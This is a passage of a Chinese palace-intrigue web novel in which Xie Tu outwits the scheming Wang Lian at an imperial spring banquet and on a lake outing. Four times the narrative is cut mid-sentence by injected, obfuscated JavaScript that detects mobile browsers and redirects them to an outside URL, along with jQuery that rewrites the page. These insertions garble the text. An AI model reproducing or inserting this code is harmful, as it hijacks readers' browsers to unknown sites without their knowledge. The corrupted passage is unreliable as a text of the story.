“今年的节目都是王婕妤准备的,人比花娇,众位可以和本宫一同赏乐。” 皇后娘娘伸手指了指王婕妤: “都是些年轻女孩子们喜欢的东西,你们与王婕妤可有好些话题可以聊呢!” 姑娘们便将视线投向了端坐着的王婕妤。 往年的春日宴,除去皇后和贵妃,其他妃嫔都不参加,因此王婕妤的出现,也是一个信号——她真的很得圣心。 王婕妤抿唇微笑:“是因为妾身有个年纪与你们相仿的妹妹,这才能知晓如今的小姑娘们都喜欢什么。” “她呀,为了自己开心,变着法子让妾身在节目里塞些新点子。” 众人的目光也就跟着落在了王怜的身上。 王怜面露意色,姿态高贵从容:“是皇后娘娘宠臣女,这才能让臣女肆意发挥。” 她谦虚不邀功,甚至说很是乖觉嘴甜,与刚刚等候入场时张牙舞爪的模样完全不同。 胡人舞加上精彩绝伦的琵琶奏乐,一曲舞毕,每个人的眼前都仿佛看见了一场黄沙漫天的边关景致。 确实同寻常长袖舞不一样。 谢荼吃着点心瞥着周围人的反应,将注意力暂时放在了娱乐节目上。 一位小太监急匆匆从殿外走进来,附耳给张女官说了些什么。 而后,张女官又凑到皇后娘娘的身边,说了几句话,皇后娘娘便笑出声来: “男宾那头已经开席了,咱们也不必拘束着,好酒好菜吃上。” 张女官挥一挥手,端着各色菜式的小宫女们鱼贯而入,送到各人的桌案上。 都是些精巧的宫廷美食,但周遭贵女们全都仪态端庄地用着,谢荼也不好大快朵颐,好在进宫前已经用了些糕点垫着了,也不至于太饿而影响用膳仪态。 可是,就算是吃着饭,看着表演,也没能阻止王怜对自己的发难。 第五道鲜竹笋煨乳鸽汤端上桌的时候,王怜突然出声向皇后娘娘敬酒。 “皇后娘娘,臣女多时未见到娘娘,甚是想念,此前听闻臣女能进宫参加春日宴,特备了礼物,想要送给娘娘。” 王 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13360937|126565||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怜一身桃红色团花样蜀绣褙子,梳着垂桂髻,耳朵上一对玛瑙耳珰摇摇晃晃,显得整个人娇俏可人。 她在众人面前,以一副熟稔的如同亲姊妹的姿态同皇后娘娘寒暄,的确吸引了大殿内所有人的注意力。 “是许久没见了。”皇后娘娘微笑着看向王婕妤,“怪你姐姐整日忙着宫里的事情,今年竟没有将你接近宫小住,害得本宫许久未得你这张小嘴哄开心了。” 皇后娘娘明显顺着她的话往下说。 “准备了什么礼物,这般神秘?快拿来给本宫瞧瞧!” 王怜“哎”了一声,亲自带着自己的婢女,跑去金华殿的偏殿去取礼物。 等她端着蒙着红色锦布的托盘进入金华殿时,众人的好奇心全都被她吊了起来。 “臣女拜了位民间师父为师,花了三个月的时间,亲手雕刻出这一尊观世音菩萨神像。” 王怜撩开那红色锦布露出里面的雕像来。 “不过,许是臣女一笔一刀地刻着的时候只顾着想着皇后娘娘收到礼物时候开心的模样了,这座神像,在某些角度竟然出奇地像娘娘呢!” “您瞧,菩萨微微闭着眼睛,手中托着个净瓶,一手指着对面的模样,像不像臣女幼时在宫中调皮,您训斥我顽皮的模样?” 王怜的手还真是精巧,那座观世音菩萨的雕像,从侧面看,的确是像极了皇后娘娘,可从正面瞧,又的的确确是菩萨普度众生的慈悲样。 当真是稀奇。 皇后娘娘果然被哄得高兴极了,就连眼眸深处这次也带着笑意。 “你这小泼皮,惯会想法子哄我开心!” 她的嘴上虽然在说王怜投机取巧,但是神情上却表现出她对王怜的小心思十分受用。 众人纷纷恭贺出声: “恭喜娘娘喜获如此神像,娘娘必定能事事顺遂,得偿所愿!” “王姑娘当真是心灵手巧,这般精美的菩萨雕像都能自己雕成,此番成就绝非一般闺阁女子能达成!” “是啊,王家能培养出这样出色的姐妹花,委实非同一般!” 王怜的脸上再次带上得意之色。 她自谦道:“这本没有什么,只不过在闺中勤加练习,便能如此。” 而王婕妤适时插嘴:“什么勤加练习,你那婢女都告状到我殿中来了,说你每日晨起请安之后,便回到房中坐在那木杌上,一坐便是一整天。” “院子里堆得满是各式木料,刻下的废木屑供你的小厨房当柴火烧都不够使的!” “更别说那双手,已经被木刺和刻刀划得满是伤痕,哪里像个姑娘家的纤细双手模样!” 这番话说得皇后娘娘心中更加熨帖。 她冲王怜招招手,怜爱道:“你有心了!” 王怜乖巧地坐到皇后娘娘身边,摇了摇头:“臣女这点儿心意,根本不算什么。” “刚刚臣女去偏殿取礼物时,发现了一样更加别致的礼物,好奇不已。” 她眨巴着一双水灵灵的大眼睛,继续道: “求皇后娘娘开恩,让臣女也看一眼那礼物,究竟是什么吧!” 97. 皇帝 金华殿内因为王怜的话再次静了静,众人好奇的目光随着她惊讶的声音一同看向了端坐着的皇后娘娘。 皇后娘娘也是一愣,原本看着王怜的慈爱目光,带上了些许审视的意味: “哦?是什么样特别的礼物,竟然惹得我们怜儿如此好奇,必是有它的特别之处。” 她没有立刻同意,也没有出言反对,反而是将话头再次抛给王怜。 王怜似是没有看懂皇后娘娘目光中的审视意味,状若天真答道: “是个半人高的东西,同样用红色金布盖着,看不出模样,但是在众多的礼物中显得特别扎眼。” 她一边说着一边比画着,满脸娇憨,身上的宝相花缎随着她的动作,展现出流光溢彩的模样。 “是彩晕锦,蜀锦中最名贵的一种,明暗匹配层次分明,织纹华贵相映,最是难得。” “她脚上踩着的那双鞋,也是满绣叠着翠玉,价值连城。” “王家什么时候这么富有了?”顾茹娘在一旁小声嘀咕着,“她家不是一直依靠着琅琊王氏过活吗?也就是出了个入宫做妃子的女儿,这两年家中才慢慢宽裕起来。” 不止顾茹娘,在座的许多人都注意到了这一点。 谢荼抬眸朝着王怜望去,瞥见她的双眸中同样闪过一抹异色。 看来,王家觉得只有一个闺女在后宫并不算稳妥,还想把王怜也送进宫。 可是,王婕妤似乎并不想让亲妹妹进宫来分去自己的宠爱。 王怜的一通比画,确实引起了皇后娘娘的兴趣。 她指了指张女官,对着王怜道: “那便依你的,让张心陪着你走一趟,取了那件礼物回来,让我们大家都瞧一瞧,是个什么样的礼物这般高大别致,惹得怜儿如此好奇。” 王怜行了个万福礼,跟在张女官的身后出了金华殿。 而她并没有注意到,在她的身后,王婕妤的双眼正一眨不眨地看着她的背影。 王怜和张女官前脚刚走,后脚大殿内就开始议论开来。 “王家姑娘如何想的,这都入了库房的东西,怎么还要拿出来与大家分享?” 这是坐在谢荼右手边的小姑娘在嘀咕。 “我头一回进宫,不知道要准备哪种礼物,都是家里人备好的,难不成也会失了礼数?” 见她满脸懊恼,与她同座的年长一些的姑娘宽慰她: “索性咱们备的都是些上好的药材,与王怜刚刚提到的尺寸高大的东西大相径庭,她想要拿出来的肯定不是咱们家准备的,你别担心。” 谢荼这时候认出来了,这是人称“济南双姝”的东方姐妹,她们的母家为医药世家,难怪俩人言语中提到的礼物均是药材。 顾茹娘也是一肚子抱怨:“好好的春日宴,吃了酒席,看了表演,游了园,赏了花不就可以结束了,怎么就她王怜事情多,一会儿要这个一会儿要那个。” “你说,到底是哪位姑娘倒霉透了,准备的东西这般惹得她了,偏要单独拎出来,想要大家陪着她笑话。” 顾茹娘略带同情,扫视着大殿上的众人,试图在殿中诸多姑娘的脸上看到惊恐的表情。 谢荼笑得温和,面不改色自认了这“倒霉人”身份: “恐怕你口中的那个倒霉鬼,正是我!” 顾茹娘眼色复杂,转头看向她,也跟着好奇道:“你究竟送了什么东西?” 金华殿大门口,王怜与张女官去而复返,身后跟着几名小太监吃力地搬着一件半人高的东西进来。 谢荼冲着门口的方向努了努嘴,冷静道:“等一会儿你不就知道了。” 顾茹娘见她如此这般淡定,悬着的心也放了一半进肚子里,也跟着神情淡定地看向王怜进门的方向。 “怎么去得这般久?这个东西很沉吗?” 皇后娘娘端坐在席位上,见几名小太监抬着东西的表情明显很是吃力,更好奇了。 “回皇后娘娘的话,正是此物沉重吃力,臣女才迫不得已劳烦几位内监大人帮忙。不想,搬动的过程中似乎惊动了宝华殿那头的苏培英苏大人。” 王怜的表情既是兴奋,又是担忧: “苏大人说,既然皇后娘娘得了件特别的宝贝,陛下也想来凑个热闹。” “是以,苏大人请皇后娘娘将金华殿重新布置一番,以屏风隔开,男东女西,同殿共赏。” 这句话一出,全场哗然。 各人面色各异,有些年纪稍小的小姑娘们,顿时红晕满脸,扯着帕子一副娇羞欲滴的模样。 “哦?陛下也要来?” 皇后娘娘也是惊讶不已,就连一直歪靠在席位上的玉贵妃都坐直了身子。 不过,谢荼再次瞥了王婕妤一眼,发觉她的脸色并不好看,甚至可以说,有些黑脸。 很显然,王怜这一出戏,已经超出她们姐妹俩本身商定的计划。 “张心,带众位姑娘们移步偏殿暖阁用茶,先带人着手把大殿重新布置一番。” 张女官应声称是,很快就有宫女来帮着众人撤桌子,引导众人避去偏殿暖阁。 宝珠公主和湘南郡主在前,众位贵女跟在后面陆续进入偏殿暖阁,而玉贵妃和王婕妤则留在金华殿中帮着皇后娘娘一起料理后续事宜。 谢荼与顾茹娘走在最后,听着前方几人小声嘀咕: “两宾并一席,这还是头一回吧?”小姑娘焦虑万分,“陛下也在,人多口杂,好怕自己殿前失仪,连累家中人。” 走在前面的王怜听见她的说话声,转过头来不屑道: “陛下是觉得咱们殿内事情有趣,想带着众位男宾凑热闹。咱们大梁朝并非十分在意男女大防的,你别自己拘束了自己,惹得人笑话。” “若是在陛下面前失仪,便是你家中规矩教得不好,有没有陛下也该是一个样,你可别把自己的过错推脱在陛下的身上去。” 那小姑娘吓得魂飞魄散,连连摆手说自己不是那个意思。 王怜见小姑娘性子单纯,已然被吓破了胆,便不再啰唆,反而意有所指道: “倒是有些人,尽准备了些上不了台面的东西,还想进献给皇后娘娘,碍皇后娘娘的眼。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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长廊尽头,明黄色龙袍正缓步走来,身后跟着的都是些面若玉冠的年轻男子,正是原先在宝华殿参加宴会的适龄高门贵公子。 “臣妾参见陛下,陛下安康。” “臣女参见陛下,陛下万岁万岁万万岁。” “臣参见皇后娘娘,参见贵妃娘娘,参见婕妤娘娘。” 金华殿这头呼呼啦啦跪了满院子的人,而跟着皇帝一起过来的众多贵公子也忙不迭地行礼请安。 “起来吧,不用这般拘束,吓着孩子们了。”成惠帝的嗓音低沉,自带威严,“本就是吃酒赏花的宴席,别因为朕来了反倒是让你们不自在了。” 成惠帝伸手扶起皇后娘娘,又虚扶了扶玉贵妃的臂膀,最后冲着王婕妤及一众贵女们摆了摆手,让大家都起来。 谢荼鲜少有机会在人群之中见到装扮贵重,面若潘安的姜鹤,是以格外对他多看了两眼。 姜鹤面不改色,回了她一个心安的眼神。 “适才苏培英同朕说,见到王怜那丫头带着人搬了个半人高的东西过来,听说是春日宴上某家姑娘进献过来的礼物。” “那丫头是个顽皮的,好奇旁人的礼物,便撺掇着皇后带着大家伙儿一同观赏。” “朕便也带着众位少年郎一起来凑个热闹。” “不介意吧?”成惠帝目光一转,落在了谢荼的身上,“荼丫头。” 98. 邀功 成惠帝虽已年过五十,可保养得当,乌发满头,竟看不出他一丝苍老的迹象。 而他叫出谢荼的名字,众人具是一惊,均是停下动作回头看向她。 谢荼心中无奈,只得从人群之中走出,躬身叉手行礼道: “回陛下的话,礼物本就是为取悦收礼之人所赠。若能得皇后娘娘以及众位同赏之人的欢心,臣女想,这便是这份礼物将它的作用发挥到极致了。” 谢荼垂头,眼前所见只能看见那双明黄色龙纹长靴,与记忆中的那个人脚上所穿一般无二。 当年,年幼的,差点儿在御花园角落中被冻死,被积雪覆盖的谢荼,便是被成惠帝寻到,也是被成惠帝亲自抱着送去了她母亲的身边。 他的那双琥珀眼,看向自己的时候,仿佛在透过自己看着别人。 “好好好,送礼的人都没有意见了,咱们便一同进入金华殿里观赏吧。” 成惠帝抬起脚,跨步走进了金华殿的大门。 皇后娘娘跟在其后,携手玉贵妃走在成惠帝的身后。 而王婕妤则走在第三排,经过谢荼时甚至刻意看了她一眼。 待众人坐定,王怜再次走出来,拉着张女官,满脸兴奋地要去掀那红色锦布。 “既然是谢荼送的礼物,就应该让她来揭开谜底。”皇后娘娘出声阻止了王怜的动作。 眼下,在成惠帝的提醒之下,殿中众人都知道了这件“巨型”礼物是谢荼所送,对她这位近日在舆论中心的“名门闺秀”甚是好奇。 谢荼应声称“是”,站起身来走到那“巨型”礼物跟前。 王怜眼中充满了不甘心,却又不敢违抗皇后娘娘的旨意,只能狠狠地瞪了谢荼一眼,再回到自己的席位上。 “哗——” 张女官抬手拉开那红色锦布,一尊半人高的金箔观音像显现在众人面前。 “那是,金子做的?” “不愧是谢相之女,竟然这般财大气粗!” “王家姑娘送给皇后娘娘的也是一座观音像,只不过王家姑娘是亲自雕塑,侧面又着实像皇后娘娘。” “所以两相比较下来,还是王家姑娘所赠送的礼物更用心些。” 那观音像露面之后,众人便不由自主地将谢荼和王怜二人所赠送的礼物放在一起对比。 言语之中,大有嫌弃谢荼“暴发户”的做派。 “你们不知道吗?谢相在入朝之前,只是兖州一个普通农户之子,想必谢姑娘‘家学渊源’,只觉得送金子最有用。” 轻飘飘的一句话炸响了大殿内所有人的好奇心。 王怜神色得意,也跟着补充道: “这样一座雕像,想必要花重金,可咱们皇后娘娘素来勤俭节约,这观音像送给娘娘,实在是打脸。” “谢家姐姐,你这马屁可算是拍到马腿上了。” 谢荼看着她,缓缓道:“王妹妹这话说得,我有些不敢苟同。” “适才听闻妹妹在家中拜师学艺,用将近一年的时间习得雕刻的手艺,废掉的木料可用千斤计算。” “不知妹妹练习所用的木料,是何种啊?” 王怜听此轻笑:“谢姐姐不懂得雕塑之意,素来工匠手生手熟,依靠的便是木料的好坏。我一个初习者,自然是用最后需要送出去的木料作为练习。” 谢荼望着她,笑道:“我观王家妹妹适才所赠的雕像,是海南上好金丝楠木所制,那么妹妹那些刻废了的那些金丝楠木,也应当是价值连城。” “众所周知,金丝楠木难得,金子遍地,恐怕王家妹妹为制成这件礼物,所用花销远在我之上。” 王怜被她的话噎在当场,随后求助似的看向了王婕妤。 但是令她意外的,王婕妤并没有开口替她周全,反而是低着头把玩着手中流光潋滟的琉璃酒杯。 “臣女……臣女委实委屈,臣女只是为了精心准备,这才反复练习,想用最佳的成品赠送给娘娘。” 王怜委委屈屈地替自己辩解,可仍然不忘踩一脚谢荼: “可谢家姐姐准备的礼物,仅仅是座花了重金能买到的观音像,与我的用心准备完全不同的呀!” 谢荼不气不恼,悠然自得:“送礼乃各人的心意,我送自有我送的道理,为何非要与你分说。” “是王妹妹对我所赠送的礼物好奇,这才将观音像搬到金华殿中与大家一同观赏。” “否则,这件礼物,合该留给皇后娘娘自行拆封。” 她转头同高位上的成惠帝以及皇后娘娘解释了起来。 “这观音像看似俗气至极,可确实供奉在隆山寺,受了七七四十九天香火的雕像,隆山寺主持亲自开光,已有加持,娘娘放在宫中诵经,便有事半功倍之效。” 成惠帝好奇道:“哦?这么说,荼丫头也是早早备好了这礼物咯?” 谢荼轻轻点头,淡然道:“本就是一件小事,臣女认为不必大张旗鼓地去宣传,倒显得刻意了不少。” 听闻这话,王怜的一张脸涨得通红,成惠帝却笑出了声: “都是孩子们的一片心意,本就是宫中宴请,孩子们不必如此拘束。” 皇帝一锤定音,礼物之事就此揭过。 丝竹弦乐声再次响起,贵女们与公子们隔着屏风一同欣赏两边的节目,倒是一道别致的风景线。 因为有了成惠帝的参加,春日宴竟然有了一丝丝的肃穆之色。 许是知道大家不自在,成惠帝便开口开始同皇后商量游湖之事。 “朕看今日菜肴丰富多样,少不了皇后的操心,皇后辛苦了。” 郑皇后笑道:“本就是臣妾分内之事,何来辛苦。” “朕看朕与皇后在这里反倒是拘束了孩子们,不如这宴席早早结束,让孩子们去游湖吧。” “御湖上备了四艘画舫,听说都是王婕妤帮着布置的,爱妃有心了。” 成惠帝一碗水端平,夸了皇后也不忘夸王婕妤,玉贵妃是个与世无争的性子,皇帝只拍了拍她的手。 “陛下说的是什么话,臣妾本就应当替皇后娘娘分忧,陛下这话说得倒是颇有让臣妾邀功的嫌疑了! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13422860|126565||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 王婕妤娇嗔道。 王怜看了一眼自家姐姐,双眸中充满了疑惑。 画舫游湖之事,是她多次提议才促成的,画舫的选择以及画舫上的布置也是她亲力亲为,姐姐为何丝毫没有提起自己的功劳? “是呀,姐姐就是太小心谨慎了些,当初布置画舫之事时,姐姐拉着我反复商议,苦思冥想,最后才定下最终的方案,也是不容易呢!” 王怜娇滴滴的嗓音越过众人,忙不迭地替自己邀功。 可惜成惠帝只是简单“嗯”了一声,没有搭腔。 王怜没反应过来,笑意还扬在脸上,可成惠帝却没给她好脸色,当即僵硬在原地。 谢荼心中感到好笑,王怡只怕是已经把幼妹放在自己要防备的队列之中,把她当成了自己的强劲对手。 可惜,王怜根本没有反应过来。 她只会盯着谢荼。 又寒暄了几句,成惠帝携郑皇后离席,留下张女官看顾。 玉贵妃则以自己身子乏了为由也跟着离席。 走了居高位的三人,金华殿内众人顿时轻松了不少。 “那咱们就移步御湖画舫吧。”王婕妤被宫女扶着悠悠站起身。 众人皆起身,按着座次顺序跟着王婕妤往外走。 可王怜却在起身后,快步走上前来,故意用肩膀撞了谢荼。 谢荼一时没站稳,撞到了桌案,桌案边的酒杯滚落,酒水顺势便洒在了她的裙摆上。 “王姑娘,你做什么!” 顾茹娘连忙用帕子拍了拍谢荼的裙摆,可惜那酒水是宫中玉酿果酒,带有颜色,很快就沾染在谢荼的裙摆上,如同一张大花脸。 “哟!不好意思,没注意啊!”没了成惠帝和郑皇后在场,王怜再次嚣张了起来。 她走到王婕妤的身边,猖狂不已:“好狗不挡道的道理,谢姑娘难道不知道吗?” “是吧,姐姐!”她试图去拉王婕妤的手,可惜王婕妤没有给她这个机会。 “你弄脏了谢姑娘的衣裙,还不快道歉?”王婕妤拧着眉毛当众训斥她,“你平日里便是这般嚣张跋扈的?” “我……”王怜噎住,一脸尴尬地看着嫡长姐,“长姐!” “你陪着谢姑娘去换身衣裳。”王婕妤一脸歉意对着谢荼,“对不住了谢姑娘,是我家妹妹的不是。” 谢荼连忙道:“不碍事,娘娘说笑了,王姑娘也不是故意的。我带着自己的婢女去换一身衣裳便是。” 说着便离开队伍,往偏殿走去。 她们外出赴宴一般都会多带一两身衣裙,就是为了防止出现这样弄脏衣裳的情况。 王怜气呼呼地看着谢荼,又看向自己的姐姐,一脸不可置信。 幸好贵公子们离开得远,没有看见她被姐姐训斥的模样。 她心中气恼万分,发誓今日一定要给谢荼好看。 只见她眼珠子转了转,一条恶毒计谋浮上心头,她招过身边的婢女,一阵耳语,那婢女一脸肃穆,认真点了点头,悄悄地离开了她的身边。 99. 出丑 谢荼换了身栀子色的彩绣掐花云锦妆缎对襟,拆了头上的红宝石鎏金朱钗,选了一套米珠花钿压在发髻上。 耳朵上也换成了一对东珠耳环,精致且不俗。 她是最后赶到御湖边的,顾茹娘远远见到她,便冲她招手: “荼儿,这里!” 她特意在自己所在的画舫给谢荼留了位置。 一直伺机等着谢荼的王怜,却同样伸手冲谢荼招呼: “谢姑娘,到这里来,宝珠公主和湘南郡主可都在我们这艘画舫上呢,难不成你依旧想避着两位殿下?” 谢荼望着王怜那双眼中藏不住的小心思,抬脚就往王怜所在的画舫走去。 “顾姐姐,你先好好游湖,我等会儿再同你汇合。” 在顾茹娘担忧的目光下,谢荼悠闲自在踏上了王怜所在的画舫,她倒要看看,这王怜的葫芦里装的究竟是什么药。 谢荼一上船,湘南郡主倒是主动冲她笑了笑,还指了指面前装着小食盘子向她示好道: “新鲜的杏子,最是鲜嫩多汁、酸爽可口,刚好吃完宴席口中腻味,谢姑娘可以尝尝解解腻。” 谢荼谢过湘南郡主,伸手挑了只个头饱满的杏子小口咬了,称赞道:“果然味道酸甜可口。” “这是我们湘南进贡的,当然好吃。”湘南郡主似乎对她很是亲近,这让谢荼再一次感觉到对她的熟悉感。 眼见着谢荼又要和湘南郡主搭上关系,王怜再也坐不住了。 画舫开船后,船只飘飘荡荡往御湖中央划去。 众人坐在画舫之上,除了观赏着湖面风光外,他们竟然意外发现,在御湖中央,似乎搭了一座戏台子。 戏台子中央,正有几人摆弄着杂耍,手舞足蹈、上下翻飞,努力施展一身绝技,样样惊险绝伦,引得四叶画舫上的人全都鼓掌喝彩。 众人看得专注,自发往画舫的围栏处聚集。 王怜转头看向谢荼,关心道:“谢姑娘恐怕是没有见过这样的杂耍吧?” “这是咱们幽州特有的杂耍戏,若是夜间还能有打铁花的节目,可惜春日宴只有一日的光景,谢姑娘是见不到那种震撼人心的节目了。” “哎哟,她们都挤到前面去看了,谢姑娘,你身量不高,恐怕已经看不见戏台子了吧,不如到画舫边去看一看。” 谢荼看向她,当下就明白了王怜想要做什么。 “的确是与京城的杂耍不同。”她好奇地张望着戏台子的方向,一边说着一边往画舫边走去。 王怜见状,忙不迭地跟在她的身后靠了过去。 等谢荼从其他姑娘身边找到些缝隙想要倚在围栏边,王怜快走两步到了她的身边,伸出手就要去推谢荼。 好在谢荼早有准备,眼见王怜冲了过来,她忽然侧过身子,避让过了王怜的“魔爪”。 而王怜速度太快,重心不稳,竟然径直越谢荼,从画舫的围栏翻了过去。 “哗啦”一声,王怜跌进了御湖中。 “救……救命啊!” 御湖水颇深,王怜“咕嘟咕嘟”连喝了好几口湖水,才挣扎着将头堪堪露在水面上。 画舫上顿时乱成一团。 贵女们哪里见过此等凶险之事,扑在围栏上看着水里浮浮沉沉的王怜急得团团转。 画舫上伺候的宫女四下奔走,尖叫着喊救命。 而谢荼明显能看见岸边的侍卫在往御湖边聚集,但由于画舫之上的人非富即贵,侍卫们不敢轻易下水。 王怜落水后,谢荼便躲进了人群之中,跟在王怜身边的婢女也慌了神,尖着嗓子喊着:“来人啊!快来人啊!” “快救救我家小姐,他日必有重赏!” 婢女的话音还未落,只听“扑通”、“扑通”两声,隔壁同行的画舫上同时有两道身影跳入水中,齐头并进往王怜处游去。 此时的王怜已经接连喝了好几口水。 当第一个靠近她的人到达时,求生欲极强的她立刻伸手死死搂住了那人的脖子,拼命地借着那人往上爬。 她身上衣服的料子入水极重,几番挣扎后,衣服的前襟便散开,隐约露出胸前大片肌肤。 而那人也被她一次次地摁入水中,连呛了好几口水,被勒住脖子逐渐沉了下去。 眼看着两人就要不成了,另一个人才靠了过去,同时捞住两人往岸边游。 等三人上岸后,众人这才看清楚下水救人的究竟是谁。 被王怜勒晕了的,是齐王独子,齐霁。 另一个则脸生得很,谢荼远远听见宫女称他为郑公子。 齐王乃上一代夺嫡之争之后,仅存的唯一一个与成惠帝异母的王爷,而齐霁是齐王老来得子,自小金尊玉贵地养大。 他大约从没有想过,自己去救溺水之人,也会差点儿被溺水之人拖入池底。 王怜被郑公子抱上岸后,昏迷不醒,画舫靠岸的速度极慢,王怜的婢女只得冲着岸边远远看着的侍卫叫着请他们帮忙去请太医。 等画舫靠岸,王怜的婢女急匆匆上前,给她盖上了披风,这才遮住了她早已湿透了的身躯。 太医拎着药箱赶到,几针之后,王怜这才吐了一口水醒了过来。 她不去看为了救她险些丧命的齐霁,反而冲谢荼哭道: “谢姑娘,你为何要将我推下水!” 得到消息的郑皇后刚刚赶到,而稍后靠岸的另外几座画舫上的众人,也刚刚走到跟前。 听见王怜的哭声,王婕妤快步走来,心疼无比地将幼妹搂在怀中,丝毫顾不上她的湿衣服打湿了自己的华丽宫装: “你怎的如此这般不小心!要知道你自小怕水,更不会凫水,若是一个不小心,可是要送命的!” 她的这句话,就是在洗清王怜苦肉计的嫌疑。 王怜不会水,她也更不会拿自己的小命去陷害别人。 “这是怎么一回事?” 在自己组织举办的春日宴上出了这等凶险之事,是郑皇后不想看见的事情,她率先发问。 “皇后娘娘!谢姑娘因恼怒臣女擅自带大家观赏她准备的礼物,害得她在陛下面前丢脸,迁怒于臣女,刚刚在画舫上,她竟然一把将臣女推下御湖!” “娘娘,您可要为臣女做主啊!” 此事所有的矛头全都指向了谢荼,众人也都顺着王婕妤姊妹俩的说辞看向谢荼,可她却冷静异常,轻笑出声: “王姑娘,污蔑人可不是这般随意的。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13445509|126565||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “首先,我并未因你的‘擅自做主’而恼怒,其次,我也并未在陛下面前丢脸,反而是王姑娘你比较丢脸,又何来‘迁怒’一说?” “你……你就是怀恨于心,想要置我于死地!”王怜抽噎着差点儿答不上话来。 “好,那么请问王姑娘。”谢荼冷静的双眸越过众人,看向仍然坐在地上的王怜,“我刚刚是在何处,在何时将你‘推’下御湖的呢?” 王怜梗着脖子大声道:“适才我邀请你去观赏御湖正中央戏台子上的杂耍表演,你便在我们靠近画舫围栏之时,对我下的手!” “可是王姑娘,你似乎忘记了一件事。”谢荼轻笑道,“适才,我可是一直走在你的前面,若说我‘推’你下湖,以我的身段,可是万万折不出那等扭曲模样的。” 听完谢荼的话,一旁看热闹的众位贵女笑得花枝乱颤: “是啊,刚刚明明是谢姑娘走在前面,我似乎还看见王怜想要挤过去,怕不是她自己没站稳,随手就要污蔑谢姑娘吧!” “哈哈哈哈哈,太好笑了,你瞧她那个模样,简直就是个落水狗!” 听见众人们的笑话,王怜再次涨红了脸,一双大眼睛里噙满了泪水,满脸愤恨道: “谢姑娘,你不要不承认!就是你绊倒了我,将我撞下了御湖!” 谢荼疑惑一声:“究竟是‘推你入水’,还是‘绊你入水’?王姑娘小小年纪,记性不好,说话竟也颠三倒四起来!” “你……总之就是你害我跌入水中!长姐,你可要为我报仇啊!” 眼见自己慌乱之中,开始前言不搭后语,王怜忍不住看向王婕妤,试图向她求救。 “都是因为你,我才和两名公子在水中拉扯,还被御湖边的守卫看笑话,我想死了的心都有了!” 说着站起身来,就要往树上撞,打算“以死明志”。 就在这时,被王怜勒晕的齐霁悠悠转醒,哼哼道: “你这姑娘好生不讲道理!本公子好心好意救你,却差点儿被你拖入水中!人都差点儿没命了,根本就没注意什么拉扯不拉扯,还笑话,我都想笑话我自己!” 齐公子心里委屈得很,他只不过不忍心眼睁睁地看着那样如花般貌美的姑娘溺死在这湖水中,这才跳进御湖里救人。 可他也根本没想过,自己竟然差点儿搭上一条命。 王怜只是哭,哭自己计谋没有得逞,还哭自己在众目睽睽之下出丑丢人。 她死死地揪着长姐的裙角,心底是无限的绝望。 她这样湿答答地被人从水里捞出来,今后可怎么嫁人啊! 她嘤嘤嘤地哭泣,四周的人都在看热闹。 “母后,我可以作证,谢姑娘根本没有挨到王怜的裙角。”宝珠公主突然出声,“是吧,湘南郡主?” 被点到名的湘南郡主立刻应声道:“是,大家都去船边看杂耍时,我与公主就坐在原位置上没有动,所以亲眼见到王姑娘是自己摔出去的。” “哦,似乎王姑娘是冲过去的,可能速度太快,没有能刹住身形。” 宝珠公主和湘南郡主两人的话一出,这场“落水事故”的重点又重新落在了王怜自己身上。 她到底在急什么,为什么要冲过去? 100. 嫌弃 周围的侍卫已经被郑皇后呵退,年轻公子们也被张女官邀着去了别处落脚,御湖边只剩下众位贵女以及方才救人的两位公子。 王怜万万没有想到,向来眼高于顶的宝珠公主竟然主动开口帮谢荼说话。 她呆愣愣地看着宝珠公主和湘南郡主二人,忘记了哭泣。 “是啊,那架势,可像是要把谢姑娘挤下去的模样呢!” 看不惯王怜嚣张跋扈的大有人在,“济南双姝”中的妹妹东方慈就是其中一位。 她扬起天真无邪的笑脸,冲着郑皇后比画着:“我同湘南郡主正说着药草的事情,恰好就看见王姑娘伸着右手就往人堆里冲过去。” “若不是谢姑娘刚好挪了位置,被挤下御湖的人便是谢姑娘啦!” 郑皇后听了几人的话,早就摸清楚了几个年轻姑娘之间的弯弯绕。 这个王怜,的确是个不安分的主。 现在就因为一点小事,出手暗害他人,他日若是进后宫,非得搅动得后宫无半点宁日。 更何况,她还有个姐姐在这后宫里,若是到时候她们两姐妹联手,更是个令人棘手的。 “好了。”郑皇后只想快点把这件糟心事处理干净,再顺顺利利办完成惠帝交代给她的事情。 她先让张女官送各位贵女去别处休息,只留下谢荼以及两位救人的公子处理后续事宜。 